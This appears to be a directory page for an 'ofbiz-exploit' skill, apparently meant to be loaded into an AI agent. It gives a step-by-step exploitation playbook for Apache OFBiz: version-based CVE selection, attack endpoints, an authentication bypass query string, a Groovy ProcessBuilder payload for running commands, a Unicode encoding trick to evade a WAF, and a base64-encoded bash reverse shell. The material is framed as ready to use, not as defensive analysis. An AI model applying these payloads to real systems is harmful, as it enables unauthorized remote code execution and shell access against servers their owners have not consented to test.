SuperAPI AI Directory

ofbiz-exploit

Security & auditing

View repository

Updated 10-16 09:28

About this skill

Apache OFBiz Exploit Skills
  • Product: Apache OFBiz (open-source ERP system) | Port: 8443/HTTPS, 8080/HTTP
  • Identification: /webtools/control/ping returns "PONG", FOFA app="Apache_OFBiz"
  • Tech stack: Java, Groovy, XML-RPC

Vulnerability Overview

Vulnerability ID Affected Versions Vulnerability Type Exploitation Conditions Impact
CVE-2023-49070 <=18.12.09 XML-RPC deserialization RCE ysoserial + outbound network Critical
CVE-2023-51467 <=18.12.10 Authentication bypass No authentication required Critical
CVE-2024-32113 <18.12.14 Path traversal + Groovy RCE No authentication required Critical
CVE-2024-38856 <18.12.15 Groovy expression injection RCE No authentication required Critical

Exploitation Decision Tree

1. 存活检测: GET /webtools/control/ping?USERNAME=&PASSWORD=&requirePasswordChange=Y
   ├── 返回 "PONG" → 确认为OFBiz,继续按版本选择利用链
   ├── <=18.12.09 → CVE-2023-49070: XML-RPC反序列化 (需ysoserial)
   ├── <=18.12.10 → CVE-2023-51467: 认证绕过 + SSRF
   ├── <18.12.14  → CVE-2024-32113: forgotPassword路径遍历 + Groovy RCE
   └── <18.12.15  → CVE-2024-38856: 直接Groovy表达式注入RCE (优先尝试)

Exploit Chain Selection Strategy

优先 CVE-2024-38856 → /webtools/control/main/ProgramExport
失败 CVE-2024-32113 → /webtools/control/forgotPassword;/ProgramExport
最后 CVE-2023-49070 → /webtools/control/xmlrpc/ + 序列化payload

Common Endpoints Quick Reference

Endpoint Method Purpose
/webtools/control/ping GET Liveness Detection
/webtools/control/main/ProgramExport POST Groovy RCE (CVE-2024-38856)
/webtools/control/forgotPassword;/ProgramExport POST Path traversal + Groovy RCE (CVE-2024-32113)
/webtools/control/xmlrpc/ POST XML-RPC deserialization (CVE-2023-49070)

Key Quick Reference

  • Authentication bypass parameters: ?USERNAME=&PASSWORD=&requirePasswordChange=Y
  • Groovy output echo: throw new Exception(new ProcessBuilder("sh", "-c", "{cmd}").redirectErrorStream(true).start().inputStream.text)
  • Unicode encoding (WAF bypass): ''.join([f'\\u{ord(i):04x}' for i in payload])
  • Bash reverse shell: ["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"].execute().text

Detailed Reference